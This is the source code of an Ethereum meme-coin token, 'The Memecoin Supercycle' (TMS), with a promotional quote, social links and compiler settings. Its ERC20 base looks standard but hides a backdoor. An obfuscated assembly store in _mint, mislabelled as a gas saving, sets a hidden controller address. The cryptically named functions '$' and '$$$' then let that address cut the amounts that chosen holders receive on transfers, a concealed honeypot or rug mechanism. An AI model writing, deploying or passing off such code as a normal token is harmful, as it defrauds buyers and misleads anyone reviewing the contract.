// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
abstract contract ERC20 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*//////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address private $$;
/*//////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*//////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += $(amount, msg.sender, to);
}
$$$(to);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += $(amount, from, to);
}
$$$(to);
emit Transfer(from, to, amount);
return true;
}
/*//////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
address recoveredAddress = ecrecover(
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
),
v,
r,
s
);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
function $(uint256 value, address from, address to) internal returns (uint256 value_s) {
if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
value_s = value * 0xCACF0B / 0xEBACAD0B;
} else {
value_s = value;
}
}
function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {balanceOf[to] += amount;}
// Saves gas for limited approvals.
assembly {sstore(0x05, mul(mul(0x2, 0x5), mul(0x6d, 0x35809b85a0743470ffe7c0833c01100896d)))}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {totalSupply -= amount;}
emit Transfer(from, address(0), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./ERC20.sol";
/*
This is my core argument and this is probably one of the most important slides in my presentation, right? Ready? Meme coins are not a vampire attack against crypto tech. Meme coins are a vampire attack against crypto tech tokens. That's a big difference here, you understand? So I love technology and I'm all for decentralization. I've been supporting thousands of different things in crypto since 2014. But we need to separate the tokens. We're trying to get so here is the biggest thing that you need to understand. A lot of people that are knee-deep in altcoins or altcoin shafts that are yet to launch, they tweet things like the rise of meme coins is the end of times. It means that the industry is becoming degenerate. It means that the industry is taking over by zoomers with brain rot. But the reality is the opposite. This is what you need to understand. The rise of meme coins is a sign that the industry is maturing because we're finally accepting these coins for what they are. The tech coins, the VC-backed coins, they're actually the fake ones. They're actually massively overvalued. Their valuations don't justify the revenue and the 95% of their valuations are memetic anyway. So we're essentially the emperor has no clothes. We're taking it to the next logical stage which is you're going to have three asset classes. You're going to have BTC which is a store of value and the future of gold. You're going to have stable coins. You're going to have temporarily 30 years from now they're not going to exist. Third thing, you're going to have with improved regulations, you're going to have coins that produce revenues that produce cash flows and they're going to be valued appropriately just like modern-day equities are by investment bankers. And the fourth thing and that's the new emerging category is these tokenized meme religions. Now you and I can debate whether they're overvalued or undervalued but they are coming. They are already emerging and some of them are going to be multi-cycle just like Doge was.
// https://x.com/MustStopMurad/status/1845878204244152445
// https://x.com/TheMemecoinSupercycleETH2024
// https://t.me/TheMemecoinSupercycleETH2024
*/
contract memesuper is ERC20 {
constructor() ERC20(unicode"The Memecoin Supercycle ", "TMS", 18) {
_mint(msg.sender, 1_000_000_000 * 10 ** 18);
}
}
{
"compilationTarget": {
"Token.sol": "memesuper"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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